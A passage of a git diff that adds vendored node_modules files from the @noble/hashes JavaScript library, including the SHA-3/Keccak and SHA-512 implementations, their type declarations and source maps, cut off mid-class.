} + digestInto(_out) { + throw new Error('KeccakPRG: digest is not allowed, please use .fetch instead.'); + } + fetch(bytes) { + return this.xof(bytes); + } + // Ensure irreversibility (even if state leaked previous outputs cannot be computed) + forget() { + if (this.rate < 1600 / 2 + 1) + throw new Error('KeccakPRG: rate too low to use forget'); + this.keccak(); + for (let i = 0; i < this.blockLen; i++) + this.state[i] = 0; + this.pos = this.blockLen; + this.keccak(); + this.posOut = this.blockLen; + } + _cloneInto(to) { + const { rate } = this; + to || (to = new KeccakPRG(1600 - rate)); + super._cloneInto(to); + to.rate = rate; + return to; + } + clone() { + return this._cloneInto(); + } +} +const keccakprg = (capacity = 254) => new KeccakPRG(capacity); +exports.keccakprg = keccakprg; +//# sourceMappingURL=sha3-addons.js.map \ No newline at end of file diff --git a/node_modules/@noble/hashes/sha3-addons.js.map b/node_modules/@noble/hashes/sha3-addons.js.map new file mode 100644 index 000000000000..7232b4f0cf27 --- /dev/null +++ b/node_modules/@noble/hashes/sha3-addons.js.map @@ -0,0 +1 @@ +{"version":3,"file":"sha3-addons.js","sourceRoot":"","sources":["src/sha3-addons.ts"],"names":[],"mappings":";;;AAAA,6CAAsD;AACtD,yCAAyF;AACzF,uCAA8C;AAC9C,kCAAkC;AAClC,SAAS,UAAU,CAAC,CAAS;IAC3B,MAAM,GAAG,GAAG,CAAC,CAAC,GAAG,IAAI,CAAC,CAAC;IACvB,CAAC,KAAK,CAAC,CAAC;IACR,OAAO,CAAC,GAAG,CAAC,EAAE,CAAC,KAAK,CAAC;QAAE,GAAG,CAAC,OAAO,CAAC,CAAC,GAAG,IAAI,CAAC,CAAC;IAC7C,GAAG,CAAC,OAAO,CAAC,GAAG,CAAC,MAAM,CAAC,CAAC;IACxB,OAAO,IAAI,UAAU,CAAC,GAAG,CAAC,CAAC;AAC7B,CAAC;AAED,SAAS,WAAW,CAAC,CAAS;IAC5B,MAAM,GAAG,GAAG,CAAC,CAAC,GAAG,IAAI,CAAC,CAAC;IACvB,CAAC,KAAK,CAAC,CAAC;IACR,OAAO,CAAC,GAAG,CAAC,EAAE,CAA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AAE,IAAI,CAAC,KAAK,CAAC,CAAC,CAAC,GAAG,CAAC,CAAC;QAC1D,IAAI,CAAC,GAAG,GAAG,IAAI,CAAC,QAAQ,CAAC;QACzB,IAAI,CAAC,MAAM,EAAE,CAAC;QACd,IAAI,CAAC,MAAM,GAAG,IAAI,CAAC,QAAQ,CAAC;IAC9B,CAAC;IACD,UAAU,CAAC,EAAc;QACvB,MAAM,EAAE,IAAI,EAAE,GAAG,IAAI,CAAC;QACtB,EAAE,KAAF,EAAE,GAAK,IAAI,SAAS,CAAC,IAAI,GAAG,IAAI,CAAC,EAAC;QAClC,KAAK,CAAC,UAAU,CAAC,EAAE,CAAC,CAAC;QACrB,EAAE,CAAC,IAAI,GAAG,IAAI,CAAC;QACf,OAAO,EAAE,CAAC;IACZ,CAAC;IACD,KAAK;QACH,OAAO,IAAI,CAAC,UAAU,EAAE,CAAC;IAC3B,CAAC;CACF;AAEM,MAAM,SAAS,GAAG,CAAC,QAAQ,GAAG,GAAG,EAAE,EAAE,CAAC,IAAI,SAAS,CAAC,QAAQ,CAAC,CAAC;AAAxD,QAAA,SAAS,aAA+C"} \ No newline at end of file diff --git a/node_modules/@noble/hashes/sha3.d.ts b/node_modules/@noble/hashes/sha3.d.ts new file mode 100644 index 000000000000..2107cf644ad2 --- /dev/null +++ b/node_modules/@noble/hashes/sha3.d.ts @@ -0,0 +1,97 @@ +import { Hash, Input, HashXOF } from './utils.js'; +export declare function keccakP(s: Uint32Array, rounds?: number): void; +export declare class Keccak extends Hash implements HashXOF { + blockLen: number; + suffix: number; + outputLen: number; + protected enableXOF: boolean; + protected rounds: number; + protected state: Uint8Array; + protected pos: number; + protected posOut: number; + protected finished: boolean; + protected state32: Uint32Array; + protected destroyed: boolean; + constructor(blockLen: number, suffix: number, outputLen: number, enableXOF?: boolean, rounds?: number); + protected keccak(): void; + update(data: Input): this; + protected finish(): void; + protected writeInto(out: Uint8Array): Uint8Array; + xofInto(out: Uint8Array): Uint8Array; + xof(bytes: number): Uint8Array; + digestInto(out: Uint8Array): Uint8Array; + digest(): Uint8Array; + destroy(): void; + _cloneInto(to?: Keccak): Keccak; +} +export declare const sha3_224: { + (msg: Input): Uint8Array; + outputLen: number; + blockLen: number; + create(): Hash; +}; +/** + * SHA3-256 hash function + * @param message - that would be hashed + */ +export declare const sha3_256: { + (msg: Input): Uint8Array; + outputLen: number; + blockLen: number; + create(): Hash; +}; +export declare const sha3_384: { + (msg: Input): Uint8Array; + outputLen: number; + blockLen: number; + create(): Hash; +}; +export declare const sha3_512: { + (msg: Input): Uint8Array; + outputLen: number; + blockLen: number; + create(): Hash; +}; +export declare const keccak_224: { + (msg: Input): Uint8Array; + outputLen: number; + blockLen: number; + create(): Hash; +}; +/** + * keccak-256 hash function. Different from SHA3-256. + * @param message - that would be hashed + */ +export declare const keccak_256: { + (msg: Input): Uint8Array; + outputLen: number; + blockLen: number; + create(): Hash; +}; +export declare const keccak_384: { + (msg: Input): Uint8Array; + outputLen: number; + blockLen: number; + create(): Hash; +}; +export declare const keccak_512: { + (msg: Input): Uint8Array; + outputLen: number; + blockLen: number; + create(): Hash; +}; +export type ShakeOpts = { + dkLen?: number; +}; +export declare const shake128: { + (msg: Input, opts?: ShakeOpts | undefined): Uint8Array; + outputLen: number; + blockLen: number; + create(opts: ShakeOpts): HashXOF>; +}; +export declare const shake256: { + (msg: Input, opts?: ShakeOpts | undefined): Uint8Array; + outputLen: number; + blockLen: number; + create(opts: ShakeOpts): HashXOF>; +}; diff --git a/node_modules/@noble/hashes/sha3.js b/node_modules/@noble/hashes/sha3.js new file mode 100644 index 000000000000..e1b753073735 --- /dev/null +++ b/node_modules/@noble/hashes/sha3.js @@ -0,0 +1,213 @@ +"use strict"; +Object.defineProperty(exports, "__esModule", { value: true }); +exports.shake256 = exports.shake128 = exports.keccak_512 = exports.keccak_384 = exports.keccak_256 = exports.keccak_224 = exports.sha3_512 = exports.sha3_384 = exports.sha3_256 = exports.sha3_224 = exports.Keccak = exports.keccakP = void 0; +const _assert_js_1 = require("./_assert.js"); +const _u64_js_1 = require("./_u64.js"); +const utils_js_1 = require("./utils.js"); +// SHA3 (keccak) is based on a new design: basically, the internal state is bigger than output size. +// It's called a sponge function. +// Various per round constants calculations +const [SHA3_PI, SHA3_ROTL, _SHA3_IOTA] = [[], [], []]; +const _0n = /* @__PURE__ */ BigInt(0); +const _1n = /* @__PURE__ */ BigInt(1); +const _2n = /* @__PURE__ */ BigInt(2); +const _7n = /* @__PURE__ */ BigInt(7); +const _256n = /* @__PURE__ */ BigInt(256); +const _0x71n = /* @__PURE__ */ BigInt(0x71); +for (let round = 0, R = _1n, x = 1, y = 0; round < 24; round++) { + // Pi + [x, y] = [y, (2 * x + 3 * y) % 5]; + SHA3_PI.push(2 * (5 * y + x)); + // Rotational + SHA3_ROTL.push((((round + 1) * (round + 2)) / 2) % 64); + // Iota + let t = _0n; + for (let j = 0; j < 7; j++) { + R = ((R << _1n) ^ ((R >> _7n) * _0x71n)) % _256n; + if (R & _2n) + t ^= _1n << ((_1n << /* @__PURE__ */ BigInt(j)) - _1n); + } + _SHA3_IOTA.push(t); +} +const [SHA3_IOTA_H, SHA3_IOTA_L] = /* @__PURE__ */ (0, _u64_js_1.split)(_SHA3_IOTA, true); +// Left rotation (without 0, 32, 64) +const rotlH = (h, l, s) => (s > 32 ? (0, _u64_js_1.rotlBH)(h, l, s) : (0, _u64_js_1.rotlSH)(h, l, s)); +const rotlL = (h, l, s) => (s > 32 ? (0, _u64_js_1.rotlBL)(h, l, s) : (0, _u64_js_1.rotlSL)(h, l, s)); +// Same as keccakf1600, but allows to skip some rounds +function keccakP(s, rounds = 24) { + const B = new Uint32Array(5 * 2); + // NOTE: all indices are x2 since we store state as u32 instead of u64 (bigints to slow in js) + for (let round = 24 - rounds; round < 24; round++) { + // Theta θ + for (let x = 0; x < 10; x++) + B[x] = s[x] ^ s[x + 10] ^ s[x + 20] ^ s[x + 30] ^ s[x + 40]; + for (let x = 0; x < 10; x += 2) { + const idx1 = (x + 8) % 10; + const idx0 = (x + 2) % 10; + const B0 = B[idx0]; + const B1 = B[idx0 + 1]; + const Th = rotlH(B0, B1, 1) ^ B[idx1]; + const Tl = rotlL(B0, B1, 1) ^ B[idx1 + 1]; + for (let y = 0; y < 50; y += 10) { + s[x + y] ^= Th; + s[x + y + 1] ^= Tl; + } + } + // Rho (ρ) and Pi (π) + let curH = s[2]; + let curL = s[3]; + for (let t = 0; t < 24; t++) { + const shift = SHA3_ROTL[t]; + const Th = rotlH(curH, curL, shift); + const Tl = rotlL(curH, curL, shift); + const PI = SHA3_PI[t]; + curH = s[PI]; + curL = s[PI + 1]; + s[PI] = Th; + s[PI + 1] = Tl; + } + // Chi (χ) + for (let y = 0; y < 50; y += 10) { + for (let x = 0; x < 10; x++) + B[x] = s[y + x]; + for (let x = 0; x < 10; x++) + s[y + x] ^= ~B[(x + 2) % 10] & B[(x + 4) % 10]; + } + // Iota (ι) + s[0] ^= SHA3_IOTA_H[round]; + s[1] ^= SHA3_IOTA_L[round]; + } + B.fill(0); +} +exports.keccakP = keccakP; +class Keccak extends utils_js_1.Hash { + // NOTE: we accept arguments in bytes instead of bits here. + constructor(blockLen, suffix, outputLen, enableXOF = false, rounds = 24) { + super(); + this.blockLen = blockLen; + this.suffix = suffix; + this.outputLen = outputLen; + this.enableXOF = enableXOF; + this.rounds = rounds; + this.pos = 0; + this.posOut = 0; + this.finished = false; + this.destroyed = false; + // Can be passed from user as dkLen + (0, _assert_js_1.number)(outputLen); + // 1600 = 5x5 matrix of 64bit. 1600 bits === 200 bytes + if (0 >= this.blockLen || this.blockLen >= 200) + throw new Error('Sha3 supports only keccak-f1600 function'); + this.state = new Uint8Array(200); + this.state32 = (0, utils_js_1.u32)(this.state); + } + keccak() { + keccakP(this.state32, this.rounds); + this.posOut = 0; + this.pos = 0; + } + update(data) { + (0, _assert_js_1.exists)(this); + const { blockLen, state } = this; + data = (0, utils_js_1.toBytes)(data); + const len = data.length; + for (let pos = 0; pos < len;) { + const take = Math.min(blockLen - this.pos, len - pos); + for (let i = 0; i < take; i++) + state[this.pos++] ^= data[pos++]; + if (this.pos === blockLen) + this.keccak(); + } + return this; + } + finish() { + if (this.finished) + return; + this.finished = true; + const { state, suffix, pos, blockLen } = this; + // Do the padding + state[pos] ^= suffix; + if ((suffix & 0x80) !== 0 && pos === blockLen - 1) + this.keccak(); + state[blockLen - 1] ^= 0x80; + this.keccak(); + } + writeInto(out) { + (0, _assert_js_1.exists)(this, false); + (0, _assert_js_1.bytes)(out); + this.finish(); + const bufferOut = this.state; + const { blockLen } = this; + for (let pos = 0, len = out.length; pos < len;) { + if (this.posOut >= blockLen) + this.keccak(); + const take = Math.min(blockLen - this.posOut, len - pos); + out.set(bufferOut.subarray(this.posOut, this.posOut + take), pos); + this.posOut += take; + pos += take; + } + return out; + } + xofInto(out) { + // Sha3/Keccak usage with XOF is probably mistake, only SHAKE instances can do XOF + if (!this.enableXOF) + throw new Error('XOF is not possible for this instance'); + return this.writeInto(out); + } + xof(bytes) { + (0, _assert_js_1.number)(bytes); + return this.xofInto(new Uint8Array(bytes)); + } + digestInto(out) { + (0, _assert_js_1.output)(out, this); + if (this.finished) + throw new Error('digest() was already called'); + this.writeInto(out); + this.destroy(); + return out; + } + digest() { + return this.digestInto(new Uint8Array(this.outputLen)); + } + destroy() { + this.destroyed = true; + this.state.fill(0); + } + _cloneInto(to) { + const { blockLen, suffix, outputLen, rounds, enableXOF } = this; + to || (to = new Keccak(blockLen, suffix, outputLen, enableXOF, rounds)); + to.state32.set(this.state32); + to.pos = this.pos; + to.posOut = this.posOut; + to.finished = this.finished; + to.rounds = rounds; + // Suffix can change in cSHAKE + to.suffix = suffix; + to.outputLen = outputLen; + to.enableXOF = enableXOF; + to.destroyed = this.destroyed; + return to; + } +} +exports.Keccak = Keccak; +const gen = (suffix, blockLen, outputLen) => (0, utils_js_1.wrapConstructor)(() => new Keccak(blockLen, suffix, outputLen)); +exports.sha3_224 = gen(0x06, 144, 224 / 8); +/** + * SHA3-256 hash function + * @param message - that would be hashed + */ +exports.sha3_256 = gen(0x06, 136, 256 / 8); +exports.sha3_384 = gen(0x06, 104, 384 / 8); +exports.sha3_512 = gen(0x06, 72, 512 / 8); +exports.keccak_224 = gen(0x01, 144, 224 / 8); +/** + * keccak-256 hash function. Different from SHA3-256. + * @param message - that would be hashed + */ +exports.keccak_256 = gen(0x01, 136, 256 / 8); +exports.keccak_384 = gen(0x01, 104, 384 / 8); +exports.keccak_512 = gen(0x01, 72, 512 / 8); +const genShake = (suffix, blockLen, outputLen) => (0, utils_js_1.wrapXOFConstructorWithOpts)((opts = {}) => new Keccak(blockLen, suffix, opts.dkLen === undefined ? outputLen : opts.dkLen, true)); +exports.shake128 = genShake(0x1f, 168, 128 / 8); +exports.shake256 = genShake(0x1f, 136, 256 / 8); +//# sourceMappingURL=sha3.js.map \ No newline at end of file diff --git a/node_modules/@noble/hashes/sha3.js.map b/node_modules/@noble/hashes/sha3.js.map new file mode 100644 index 000000000000..fd689501e168 --- /dev/null +++ b/node_modules/@noble/hashes/sha3.js.map @@ -0,0 +1 @@ +{"version":3,"file":"sha3.js","sourceRoot":"","sources":["src/sha3.ts"],"names":[],"mappings":";;;AAAA,6CAA6D;AAC7D,uCAAkE;AAClE,yCAQoB;AAEpB,oGAAoG;AACpG,iCAAiC;AAEjC,2CAA2C;AAC3C,MAAM,CAAC,OAAO,EAAE,SAAS,EAAE,UAAU,CAAC,GAAmC,CAAC,EAAE,EAAE,EAAE,EAAE,EAAE,CAAC,CAAC;AACtF,MAAM,GAAG,GAAG,eAAe,CAAC,MAAM,CAAC,CAAC,CAAC,CAAC;AACtC,MAAM,GAAG,GAAG,eAAe,CAAC,MAAM,CAAC,CAAC,CAAC,CAAC;AACtC,MAAM,GAAG,GAAG,eAAe,CAAC,MAAM,CAAC,CAAC,CAAC,CAAC;AACtC,MAAM,GAAG,GAAG,eAAe,CAAC,MAAM,CAAC,CAAC,CAAC,CAAC;AACtC,MAAM,KAAK,GAAG,eAAe,CAAC,MAAM,CA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AAE,GAAG,GAAG,CAAC,CAAC,CAAC;AAClE;;;GAGG;AACU,QAAA,UAAU,GAAmB,GAAG,CAAC,IAAI,EAAE,GAAG,EAAE,GAAG,GAAG,CAAC,CAAC,CAAC;AACrD,QAAA,UAAU,GAAmB,GAAG,CAAC,IAAI,EAAE,GAAG,EAAE,GAAG,GAAG,CAAC,CAAC,CAAC;AACrD,QAAA,UAAU,GAAmB,GAAG,CAAC,IAAI,EAAE,EAAE,EAAE,GAAG,GAAG,CAAC,CAAC,CAAC;AAIjE,MAAM,QAAQ,GAAG,CAAC,MAAc,EAAE,QAAgB,EAAE,SAAiB,EAAE,EAAE,CACvE,IAAA,qCAA0B,EACxB,CAAC,OAAkB,EAAE,EAAE,EAAE,CACvB,IAAI,MAAM,CAAC,QAAQ,EAAE,MAAM,EAAE,IAAI,CAAC,KAAK,KAAK,SAAS,CAAC,CAAC,CAAC,SAAS,CAAC,CAAC,CAAC,IAAI,CAAC,KAAK,EAAE,IAAI,CAAC,CACxF,CAAC;AAES,QAAA,QAAQ,GAAmB,QAAQ,CAAC,IAAI,EAAE,GAAG,EAAE,GAAG,GAAG,CAAC,CAAC,CAAC;AACxD,QAAA,QAAQ,GAAmB,QAAQ,CAAC,IAAI,EAAE,GAAG,EAAE,GAAG,GAAG,CAAC,CAAC,CAAC"} \ No newline at end of file diff --git a/node_modules/@noble/hashes/sha512.d.ts b/node_modules/@noble/hashes/sha512.d.ts new file mode 100644 index 000000000000..b8ba9b089904 --- /dev/null +++ b/node_modules/@noble/hashes/sha512.d.ts @@ -0,0 +1,66 @@ +import { SHA2 } from './_sha2.js'; +export declare class SHA512 extends SHA2 { + Ah: number; + Al: number; + Bh: number; + Bl: number; + Ch: number; + Cl: number; + Dh: number; + Dl: number; + Eh: number; + El: number; + Fh: number; + Fl: number; + Gh: number; + Gl: number; + Hh: number; + Hl: number; + constructor(); + protected get(): [ + number, + number, + number, + number, + number, + number, + number, + number, + number, + number, + number, + number, + number, + number, + number, + number + ]; + protected set(Ah: number, Al: number, Bh: number, Bl: number, Ch: number, Cl: number, Dh: number, Dl: number, Eh: number, El: number, Fh: number, Fl: number, Gh: number, Gl: number, Hh: number, Hl: number): void; + protected process(view: DataView, offset: number): void; + protected roundClean(): void; + destroy(): void; +} +export declare const sha512: { + (msg: import("./utils.js").Input): Uint8Array; + outputLen: number; + blockLen: number; + create(): import("./utils.js").Hash; +}; +export declare const sha512_224: { + (msg: import("./utils.js").Input): Uint8Array; + outputLen: number; + blockLen: number; + create(): import("./utils.js").Hash; +}; +export declare const sha512_256: { + (msg: import("./utils.js").Input): Uint8Array; + outputLen: number; + blockLen: number; + create(): import("./utils.js").Hash; +}; +export declare const sha384: { + (msg: import("./utils.js").Input): Uint8Array; + outputLen: number; + blockLen: number; + create(): import("./utils.js").Hash; +}; diff --git a/node_modules/@noble/hashes/sha512.js b/node_modules/@noble/hashes/sha512.js new file mode 100644 index 000000000000..1d3482a939f9 --- /dev/null +++ b/node_modules/@noble/hashes/sha512.js @@ -0,0 +1,235 @@ +"use strict"; +Object.defineProperty(exports, "__esModule", { value: true }); +exports.sha384 = exports.sha512_256 = exports.sha512_224 = exports.sha512 = exports.SHA512 = void 0; +const _sha2_js_1 = require("./_sha2.js"); +const _u64_js_1 = require("./_u64.js"); +const utils_js_1 = require("./utils.js"); +// Round contants (first 32 bits of the fractional parts of the cube roots of the first 80 primes 2..409): +// prettier-ignore +const [SHA512_Kh, SHA512_Kl] = /* @__PURE__ */ (() => _u64_js_1.default.split([ + '0x428a2f98d728ae22', '0x7137449123ef65cd', '0xb5c0fbcfec4d3b2f', '0xe9b5dba58189dbbc', + '0x3956c25bf348b538', '0x59f111f1b605d019', '0x923f82a4af194f9b', '0xab1c5ed5da6d8118', + '0xd807aa98a3030242', '0x12835b0145706fbe', '0x243185be4ee4b28c', '0x550c7dc3d5ffb4e2', + '0x72be5d74f27b896f', '0x80deb1fe3b1696b1', '0x9bdc06a725c71235', '0xc19bf174cf692694', + '0xe49b69c19ef14ad2', '0xefbe4786384f25e3', '0x0fc19dc68b8cd5b5', '0x240ca1cc77ac9c65', + '0x2de92c6f592b0275', '0x4a7484aa6ea6e483', '0x5cb0a9dcbd41fbd4', '0x76f988da831153b5', + '0x983e5152ee66dfab', '0xa831c66d2db43210', '0xb00327c898fb213f', '0xbf597fc7beef0ee4', + '0xc6e00bf33da88fc2', '0xd5a79147930aa725', '0x06ca6351e003826f', '0x142929670a0e6e70', + '0x27b70a8546d22ffc', '0x2e1b21385c26c926', '0x4d2c6dfc5ac42aed', '0x53380d139d95b3df', + '0x650a73548baf63de', '0x766a0abb3c77b2a8', '0x81c2c92e47edaee6', '0x92722c851482353b', + '0xa2bfe8a14cf10364', '0xa81a664bbc423001', '0xc24b8b70d0f89791', '0xc76c51a30654be30', + '0xd192e819d6ef5218', '0xd69906245565a910', '0xf40e35855771202a', '0x106aa07032bbd1b8', + '0x19a4c116b8d2d0c8', '0x1e376c085141ab53', '0x2748774cdf8eeb99', '0x34b0bcb5e19b48a8', + '0x391c0cb3c5c95a63', '0x4ed8aa4ae3418acb', '0x5b9cca4f7763e373', '0x682e6ff3d6b2b8a3', + '0x748f82ee5defb2fc', '0x78a5636f43172f60', '0x84c87814a1f0ab72', '0x8cc702081a6439ec', + '0x90befffa23631e28', '0xa4506cebde82bde9', '0xbef9a3f7b2c67915', '0xc67178f2e372532b', + '0xca273eceea26619c', '0xd186b8c721c0c207', '0xeada7dd6cde0eb1e', '0xf57d4f7fee6ed178', + '0x06f067aa72176fba', '0x0a637dc5a2c898a6', '0x113f9804bef90dae', '0x1b710b35131c471b', + '0x28db77f523047d84', '0x32caab7b40c72493', '0x3c9ebe0a15c9bebc', '0x431d67c49c100d4c', + '0x4cc5d4becb3e42b6', '0x597f299cfc657e2a', '0x5fcb6fab3ad6faec', '0x6c44198c4a475817' +].map(n => BigInt(n))))(); +// Temporary buffer, not used to store anything between runs +const SHA512_W_H = /* @__PURE__ */ new Uint32Array(80); +const SHA512_W_L = /* @__PURE__ */ new Uint32Array(80); +class SHA512 extends _sha2_js_1.SHA2 { + constructor() { + super(128, 64, 16, false); + // We cannot use array here since array allows indexing by variable which means optimizer/compiler cannot use registers. + // Also looks cleaner and easier to verify with spec. + // Initial state (first 32 bits of the fractional parts of the square roots of the first 8 primes 2..19): + // h -- high 32 bits, l -- low 32 bits + this.Ah = 0x6a09e667 | 0; + this.Al = 0xf3bcc908 | 0; + this.Bh = 0xbb67ae85 | 0; + this.Bl = 0x84caa73b | 0; + this.Ch = 0x3c6ef372 | 0; + this.Cl = 0xfe94f82b | 0; + this.Dh = 0xa54ff53a | 0; + this.Dl = 0x5f1d36f1 | 0; + this.Eh = 0x510e527f | 0; + this.El = 0xade682d1 | 0; + this.Fh = 0x9b05688c | 0; + this.Fl = 0x2b3e6c1f | 0; + this.Gh = 0x1f83d9ab | 0; + this.Gl = 0xfb41bd6b | 0; + this.Hh = 0x5be0cd19 | 0; + this.Hl = 0x137e2179 | 0; + } + // prettier-ignore + get() { + const { Ah, Al, Bh, Bl, Ch, Cl, Dh, Dl, Eh, El, Fh, Fl, Gh, Gl, Hh, Hl } = this; + return [Ah, Al, Bh, Bl, Ch, Cl, Dh, Dl, Eh, El, Fh, Fl, Gh, Gl, Hh, Hl]; + } + // prettier-ignore + set(Ah, Al, Bh, Bl, Ch, Cl, Dh, Dl, Eh, El, Fh, Fl, Gh, Gl, Hh, Hl) { + this.Ah = Ah | 0; + this.Al = Al | 0; + this.Bh = Bh | 0; + this.Bl = Bl | 0; + this.Ch = Ch | 0; + this.Cl = Cl | 0; + this.Dh = Dh | 0; + this.Dl = Dl | 0; + this.Eh = Eh | 0; + this.El = El | 0; + this.Fh = Fh | 0; + this.Fl = Fl | 0; + this.Gh = Gh | 0; + this.Gl = Gl | 0; + this.Hh = Hh | 0; + this.Hl = Hl | 0; + } + process(view, offset) { + // Extend the first 16 words into the remaining 64 words w[16..79] of the message schedule array + for (let i = 0; i < 16; i++, offset += 4) { + SHA512_W_H[i] = view.getUint32(offset); + SHA512_W_L[i] = view.getUint32((offset += 4)); + } + for (let i = 16; i < 80; i++) { + // s0 := (w[i-15] rightrotate 1) xor (w[i-15] rightrotate 8) xor (w[i-15] rightshift 7) + const W15h = SHA512_W_H[i - 15] | 0; + const W15l = SHA512_W_L[i - 15] | 0; + const s0h = _u64_js_1.default.rotrSH(W15h, W15l, 1) ^ _u64_js_1.default.rotrSH(W15h, W15l, 8) ^ _u64_js_1.default.shrSH(W15h, W15l, 7); + const s0l = _u64_js_1.default.rotrSL(W15h, W15l, 1) ^ _u64_js_1.default.rotrSL(W15h, W15l, 8) ^ _u64_js_1.default.shrSL(W15h, W15l, 7); + // s1 := (w[i-2] rightrotate 19) xor (w[i-2] rightrotate 61) xor (w[i-2] rightshift 6) + const W2h = SHA512_W_H[i - 2] | 0; + const W2l = SHA512_W_L[i - 2] | 0; + const s1h = _u64_js_1.default.rotrSH(W2h, W2l, 19) ^ _u64_js_1.default.rotrBH(W2h, W2l, 61) ^ _u64_js_1.default.shrSH(W2h, W2l, 6); + const s1l = _u64_js_1.default.rotrSL(W2h, W2l, 19) ^ _u64_js_1.default.rotrBL(W2h, W2l, 61) ^ _u64_js_1.default.shrSL(W2h, W2l, 6); + // SHA256_W[i] = s0 + s1 + SHA256_W[i - 7] + SHA256_W[i - 16]; + const SUMl = _u64_js_1.default.add4L(s0l, s1l, SHA512_W_L[i - 7], SHA512_W_L[i - 16]); + const SUMh = _u64_js_1.default.add4H(SUMl, s0h, s1h, SHA512_W_H[i - 7], SHA512_W_H[i - 16]); + SHA512_W_H[i] = SUMh | 0; + SHA512_W_L[i] = SUMl | 0; + } + let { Ah, Al, Bh, Bl, Ch, Cl, Dh, Dl, Eh, El, Fh, Fl, Gh, Gl, Hh, Hl } = this; + // Compression function main loop, 80 rounds + for (let i = 0; i < 80; i++) { + // S1 := (e rightrotate 14) xor (e rightrotate 18) xor (e rightrotate 41) + const sigma1h = _u64_js_1.default.rotrSH(Eh, El, 14) ^ _u64_js_1.default.rotrSH(Eh, El, 18) ^ _u64_js_1.default.rotrBH(Eh, El, 41); + const sigma1l = _u64_js_1.default.rotrSL(Eh, El, 14) ^ _u64_js_1.default.rotrSL(Eh, El, 18) ^ _u64_js_1.default.rotrBL(Eh, El, 41); + //const T1 = (H + sigma1 + Chi(E, F, G) + SHA256_K[i] + SHA256_W[i]) | 0; + const CHIh = (Eh & Fh) ^ (~Eh & Gh); + const CHIl = (El & Fl) ^ (~El & Gl); + // T1 = H + sigma1 + Chi(E, F, G) + SHA512_K[i] + SHA512_W[i] + // prettier-ignore + const T1ll = _u64_js_1.default.add5L(Hl, sigma1l, CHIl, SHA512_Kl[i], SHA512_W_L[i]); + const T1h = _u64_js_1.default.add5H(T1ll, Hh, sigma1h, CHIh, SHA512_Kh[i], SHA512_W_H[i]); + const T1l = T1ll | 0; + // S0 := (a rightrotate 28) xor (a rightrotate 34) xor (a rightrotate 39) + const sigma0h = _u64_js_1.default.rotrSH(Ah, Al, 28) ^ _u64_js_1.default.rotrBH(Ah, Al, 34) ^ _u64_js_1.default.rotrBH(Ah, Al, 39); + const sigma0l = _u64_js_1.default.rotrSL(Ah, Al, 28) ^ _u64_js_1.default.rotrBL(Ah, Al, 34) ^ _u64_js_1.default.rotrBL(Ah, Al, 39); + const MAJh = (Ah & Bh) ^ (Ah & Ch) ^ (Bh & Ch); + const MAJl = (Al & Bl) ^ (Al & Cl) ^ (Bl & Cl); + Hh = Gh | 0; + Hl = Gl | 0; + Gh = Fh | 0; + Gl = Fl | 0; + Fh = Eh | 0; + Fl = El | 0; + ({ h: Eh, l: El } = _u64_js_1.default.add(Dh | 0, Dl | 0, T1h | 0, T1l | 0)); + Dh = Ch | 0; + Dl = Cl | 0; + Ch = Bh | 0; + Cl = Bl | 0; + Bh = Ah | 0; + Bl = Al | 0; + const All = _u64_js_1.default.add3L(T1l, sigma0l, MAJl); + Ah = _u64_js_1.default.add3H(All, T1h, sigma0h, MAJh); + Al = All | 0; + } + // Add the compressed chunk to the current hash value + ({ h: Ah, l: Al } = _u64_js_1.default.add(this.Ah | 0, this.Al | 0, Ah | 0, Al | 0)); + ({ h: Bh, l: Bl } = _u64_js_1.default.add(this.Bh | 0, this.Bl | 0, Bh | 0, Bl | 0)); + ({ h: Ch, l: Cl } = _u64_js_1.default.add(this.Ch | 0, this.Cl | 0, Ch | 0, Cl | 0)); + ({ h: Dh, l: Dl } = _u64_js_1.default.add(this.Dh | 0, this.Dl | 0, Dh | 0, Dl | 0)); + ({ h: Eh, l: El } = _u64_js_1.default.add(this.Eh | 0, this.El | 0, Eh | 0, El | 0)); + ({ h: Fh, l: Fl } = _u64_js_1.default.add(this.Fh | 0, this.Fl | 0, Fh | 0, Fl | 0)); + ({ h: Gh, l: Gl } = _u64_js_1.default.add(this.Gh | 0, this.Gl | 0, Gh | 0, Gl | 0)); + ({ h: Hh, l: Hl } = _u64_js_1.default.add(this.Hh | 0, this.Hl | 0, Hh | 0, Hl | 0)); + this.set(Ah, Al, Bh, Bl, Ch, Cl, Dh, Dl, Eh, El, Fh, Fl, Gh, Gl, Hh, Hl); + } + roundClean() { + SHA512_W_H.fill(0); + SHA512_W_L.fill(0); + } + destroy() { + this.buffer.fill(0); + this.set(0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0); + } +} +exports.SHA512 = SHA512; +class SHA512_224 extends SHA512 { + constructor() { + super(); + // h -- high 32 bits, l -- low 32 bits + this.Ah = 0x8c3d37c8 | 0; + this.Al = 0x19544da2 | 0; + this.Bh = 0x73e19966 | 0; + this.Bl = 0x89dcd4d6 | 0; + this.Ch = 0x1dfab7ae | 0; + this.Cl = 0x32ff9c82 | 0; + this.Dh = 0x679dd514 | 0; + this.Dl = 0x582f9fcf | 0; + this.Eh = 0x0f6d2b69 | 0; + this.El = 0x7bd44da8 | 0; + this.Fh = 0x77e36f73 | 0; + this.Fl = 0x04c48942 | 0; + this.Gh = 0x3f9d85a8 | 0; + this.Gl = 0x6a1d36c8 | 0; + this.Hh = 0x1112e6ad | 0; + this.Hl = 0x91d692a1 | 0; + this.outputLen = 28; + } +} +class SHA512_256 extends SHA512 { + constructor() { + super(); + // h -- high 32 bits, l -- low 32 bits + this.Ah = 0x22312194 | 0; + this.Al = 0xfc2bf72c | 0; + this.Bh = 0x9f555fa3 | 0; + this.Bl = 0xc84c64c2 | 0; + this.Ch = 0x2393b86b | 0; + this.Cl = 0x6f53b151 | 0; + this.Dh = 0x96387719 | 0; + this.Dl = 0x5940eabd | 0; + this.Eh = 0x96283ee2 | 0; + this.El = 0xa88effe3 | 0; + this.Fh = 0xbe5e1e25 | 0; + this.Fl = 0x53863992 | 0; + this.Gh = 0x2b0199fc | 0; + this.Gl = 0x2c85b8aa | 0; + this.Hh = 0x0eb72ddc | 0; + this.Hl = 0x81c52ca2 | 0; + this.outputLen = 32; + } +} +class SHA384 extends SHA512 { + constructor() { + super(); + // h -- high 32 bits, l -- low 32 bits + this.Ah = 0xcbbb9d5d | 0; + this.Al = 0xc1059ed8 | 0; + this.Bh = 0x629a292a | 0; + this.Bl = 0x367cd507 | 0; + this.Ch = 0x9159015a | 0; + this.Cl = 0x3070dd17 | 0; + this.Dh = 0x152fecd8 | 0; + this.Dl = 0xf70e5939 | 0; + this.Eh = 0x67332667 | 